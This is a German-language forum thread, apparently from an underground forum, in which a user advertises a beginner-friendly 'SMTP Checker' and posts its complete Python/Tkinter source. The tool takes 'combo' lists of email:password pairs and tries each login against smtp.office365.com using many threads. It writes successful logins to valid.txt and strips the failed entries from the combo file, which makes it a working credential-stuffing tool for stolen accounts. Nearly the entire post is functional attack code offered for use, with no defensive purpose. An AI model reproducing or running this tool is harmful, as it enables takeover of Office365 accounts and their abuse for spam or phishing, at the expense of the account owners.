Kaban Posted March 24 Posted March 24 Dieser SMTP Checker wurde speziell für Anfänger (Noob Friendly) entwickelt und funktioniert ausschließlich mit dem Office365 SMTP Host. 👉 Nur für: smtp.office365.com ❌ Nicht für andere SMTP Hosts geeignet ✨ Features: ✅ Sehr einfache Nutzung – Combo laden & Start klicken ✅ Multithreading für schnelle Ergebnisse ✅ Live Stats: Valid / Invalid / Checked ✅ Fortschrittsanzeige + Log Fenster ✅ Speichert gültige Logins automatisch in valid.txt ✅ Bereinigt die Combo von ungültigen Einträgen ✅ Modernes Dark GUI (Tkinter) 📌 SMTP Einstellungen: Host: smtp.office365.com Port: 587 Security: STARTTLS Threads frei einstellbar 💡 Perfekt für Anfänger, die Office365 SMTP Combos schnell und übersichtlich prüfen wollen. erstellt von von mir Kaban 0 Quote
Kaban Posted March 24 Author Posted March 24 import smtplib import threading import os import sys import tkinter as tk from tkinter import ttk, filedialog, scrolledtext from queue import Queue, Empty from datetime import datetime # ─── Defaults ───────────────────────────────────────────────────────────────── SMTP_SERVER = "smtp.office365.com" SMTP_PORT = 587 DEFAULT_THREADS = 10 TIMEOUT = 10 # ────────────────────────────────────────────────────────────────────────────── def check_smtp(username: str, password: str) -> bool: try: with smtplib.SMTP(SMTP_SERVER, SMTP_PORT, timeout=TIMEOUT) as server: server.ehlo() server.starttls() server.ehlo() server.login(username, password) return True except smtplib.SMTPAuthenticationError: return False except Exception: return False class App(tk.Tk): def __init__(self): super().__init__() self.title("SMTP Checker — smtp.office365.com") self.resizable(True, True) self.configure(bg="#1e1e2e") self.minsize(720, 520) # State self._running = False self._stop_event = threading.Event() self._log_queue = Queue() self._valid_lines = [] self._total = 0 self._checked = 0 self._valid = 0 self._invalid = 0 self._input_file = tk.StringVar() self._valid_path = "" self._file_lock = threading.Lock() self._build_ui() self._poll_log() # ── UI Construction ──────────────────────────────────────────────────────── def _build_ui(self): PAD = dict(padx=10, pady=6) # ── Top bar: file picker ────────────────────────────────────────────── top = tk.Frame(self, bg="#1e1e2e") top.pack(fill="x", **PAD) tk.Label(top, text="Combo File:", fg="#cdd6f4", bg="#1e1e2e", font=("Consolas", 10)).pack(side="left") tk.Entry(top, textvariable=self._input_file, width=48, bg="#313244", fg="#cdd6f4", insertbackground="#cdd6f4", relief="flat", font=("Consolas", 10)).pack(side="left", padx=6) tk.Button(top, text="Browse", command=self._browse, bg="#45475a", fg="#cdd6f4", relief="flat", activebackground="#585b70", cursor="hand2", font=("Consolas", 10)).pack(side="left") # ── Thread count ───────────────────────────────────────────────────── cfg = tk.Frame(self, bg="#1e1e2e") cfg.pack(fill="x", padx=10, pady=2) tk.Label(cfg, text="Threads:", fg="#cdd6f4", bg="#1e1e2e", font=("Consolas", 10)).pack(side="left") self._threads_var = tk.IntVar(value=DEFAULT_THREADS) tk.Spinbox(cfg, from_=1, to=50, textvariable=self._threads_var, width=5, bg="#313244", fg="#cdd6f4", buttonbackground="#45475a", relief="flat", font=("Consolas", 10)).pack(side="left", padx=6) # ── Action buttons ──────────────────────────────────────────────────── btn_frame = tk.Frame(self, bg="#1e1e2e") btn_frame.pack(fill="x", padx=10, pady=4) self._btn_start = tk.Button(btn_frame, text="▶ Start", command=self._start, bg="#a6e3a1", fg="#1e1e2e", relief="flat", activebackground="#94e2d5", cursor="hand2", font=("Consolas", 11, "bold"), width=12) self._btn_start.pack(side="left", padx=(0, 8)) self._btn_stop = tk.Button(btn_frame, text="■ Stop", command=self._stop, bg="#f38ba8", fg="#1e1e2e", relief="flat", activebackground="#eba0ac", cursor="hand2", font=("Consolas", 11, "bold"), width=12, state="disabled") self._btn_stop.pack(side="left") # ── Stats bar ───────────────────────────────────────────────────────── stats = tk.Frame(self, bg="#181825", pady=8) stats.pack(fill="x", padx=10, pady=(4, 0)) def stat_box(parent, label, color): f = tk.Frame(parent, bg="#181825") f.pack(side="left", expand=True, fill="x", padx=12) tk.Label(f, text=label, fg="#6c7086", bg="#181825", font=("Consolas", 9)).pack() var = tk.StringVar(value="0") tk.Label(f, textvariable=var, fg=color, bg="#181825", font=("Consolas", 18, "bold")).pack() return var self._sv_total = stat_box(stats, "TOTAL", "#89b4fa") self._sv_checked = stat_box(stats, "CHECKED", "#cba6f7") self._sv_valid = stat_box(stats, "VALID", "#a6e3a1") self._sv_invalid = stat_box(stats, "INVALID", "#f38ba8") # ── Progress bar ────────────────────────────────────────────────────── pb_frame = tk.Frame(self, bg="#1e1e2e") pb_frame.pack(fill="x", padx=10, pady=(4, 0)) style = ttk.Style(self) style.theme_use("clam") style.configure("green.Horizontal.TProgressbar", troughcolor="#313244", background="#a6e3a1", bordercolor="#1e1e2e", lightcolor="#a6e3a1", darkcolor="#a6e3a1") self._progress = ttk.Progressbar(pb_frame, style="green.Horizontal.TProgressbar", orient="horizontal", mode="determinate", length=700) self._progress.pack(fill="x") self._pct_var = tk.StringVar(value="0%") tk.Label(self, textvariable=self._pct_var, fg="#6c7086", bg="#1e1e2e", font=("Consolas", 9)).pack(anchor="e", padx=14) # ── Log output ──────────────────────────────────────────────────────── log_frame = tk.Frame(self, bg="#1e1e2e") log_frame.pack(fill="both", expand=True, padx=10, pady=(4, 10)) self._log = scrolledtext.ScrolledText( log_frame, bg="#11111b", fg="#cdd6f4", font=("Consolas", 9), relief="flat", state="disabled", wrap="none" ) self._log.pack(fill="both", expand=True) self._log.tag_config("valid", foreground="#a6e3a1") self._log.tag_config("invalid", foreground="#f38ba8") self._log.tag_config("info", foreground="#89b4fa") self._log.tag_config("error", foreground="#fab387") # ── Status bar ──────────────────────────────────────────────────────── self._status = tk.StringVar(value="Bereit.") tk.Label(self, textvariable=self._status, fg="#6c7086", bg="#181825", font=("Consolas", 9), anchor="w").pack( fill="x", padx=10, pady=(0, 4)) # ── Helpers ──────────────────────────────────────────────────────────────── def _browse(self): path = filedialog.askopenfilename( title="Combo-Datei auswählen", filetypes=[("Text files", "*.txt"), ("All files", "*.*")] ) if path: self._input_file.set(path) def _log_write(self, msg: str, tag: str = ""): self._log_queue.put((msg, tag)) def _poll_log(self): """Drains the log queue and writes to the widget (main thread only).""" try: while True: msg, tag = self._log_queue.get_nowait() self._log.configure(state="normal") ts = datetime.now().strftime("%H:%M:%S") self._log.insert("end", f"[{ts}] {msg}\n", tag or None) self._log.configure(state="disabled") self._log.see("end") except Empty: pass self.after(80, self._poll_log) def _update_stats(self): self._sv_total.set(str(self._total)) self._sv_checked.set(str(self._checked)) self._sv_valid.set(str(self._valid)) self._sv_invalid.set(str(self._invalid)) if self._total > 0: pct = int(self._checked / self._total * 100) self._progress["value"] = pct self._pct_var.set(f"{pct}%") # ── Core logic ───────────────────────────────────────────────────────────── def _start(self): input_file = self._input_file.get().strip() if not input_file: self._log_write("Bitte zuerst eine Combo-Datei auswählen.", "error") return if not os.path.isfile(input_file): self._log_write(f"Datei nicht gefunden: {input_file}", "error") return with open(input_file, "r", encoding="utf-8", errors="ignore") as fh: lines = [l.strip() for l in fh if l.strip()] if not lines: self._log_write("Die Datei ist leer.", "error") return # Reset state self._running = True self._stop_event.clear() self._valid_lines = [] self._total = len(lines) self._checked = 0 self._valid = 0 self._invalid = 0 self._update_stats() self._progress["value"] = 0 self._pct_var.set("0%") self._valid_path = os.path.join(os.path.dirname(os.path.abspath(input_file)), "valid.txt") self._btn_start.configure(state="disabled") self._btn_stop.configure(state="normal") self._status.set(f"Läuft … {self._total} Einträge") self._log_write(f"Start — {self._total} Einträge, {self._threads_var.get()} Threads", "info") self._log_write(f"Valide Funde → {self._valid_path}", "info") threading.Thread(target=self._run_check, args=(lines, input_file), daemon=True).start() def _stop(self): self._stop_event.set() self._status.set("Wird gestoppt …") self._log_write("Stopp angefordert.", "info") def _worker(self, queue: Queue): while not self._stop_event.is_set(): try: item = queue.get(timeout=0.5) except Empty: break if item is None: break line = item.strip() parts = line.split(":", 2) # maxsplit=2 → Passwort darf : enthalten if len(parts) == 3: _, username, password = parts elif len(parts) == 2: username, password = parts else: queue.task_done() continue username = username.strip() password = password.strip() result = check_smtp(username, password) # Thread-safe stat update self._checked += 1 if result: self._valid += 1 self._valid_lines.append(line) self._log_write(f"VALID {username}:{password}", "valid") # Sofort in Datei schreiben with self._file_lock: with open(self._valid_path, "a", encoding="utf-8") as fh: fh.write(line + "\n") else: self._invalid += 1 self._log_write(f"INVALID {username}:{password}", "invalid") # Schedule GUI update on main thread self.after(0, self._update_stats) queue.task_done() def _run_check(self, lines: list, input_file: str): queue = Queue() for line in lines: queue.put(line) n_threads = self._threads_var.get() workers = [] for _ in range(n_threads): t = threading.Thread(target=self._worker, args=(queue,), daemon=True) t.start() workers.append(t) # Sentinel values for _ in range(n_threads): queue.put(None) for t in workers: t.join() # Save results (main-thread-safe because workers are done) self._save_results(input_file) self.after(0, self._on_done) def _save_results(self, input_file: str): # valid.txt wurde bereits live geschrieben — nur combo bereinigen with open(input_file, "w", encoding="utf-8") as fh: if self._valid_lines: fh.write("\n".join(self._valid_lines) + "\n") self._log_write(f"Combo bereinigt — {self._invalid} Einträge entfernt", "info") def _on_done(self): self._running = False stopped = self._stop_event.is_set() self._btn_start.configure(state="normal") self._btn_stop.configure(state="disabled") label = "Gestoppt" if stopped else "Fertig" self._status.set( f"{label} — Valid: {self._valid} Invalid: {self._invalid} " f"Checked: {self._checked}/{self._total}" ) self._log_write( f"{label} | Valid: {self._valid} | Invalid: {self._invalid} | " f"Checked: {self._checked}/{self._total}", "info" ) self._update_stats() if __name__ == "__main__": app = App() app.mainloop() 2 Quote
Recommended Posts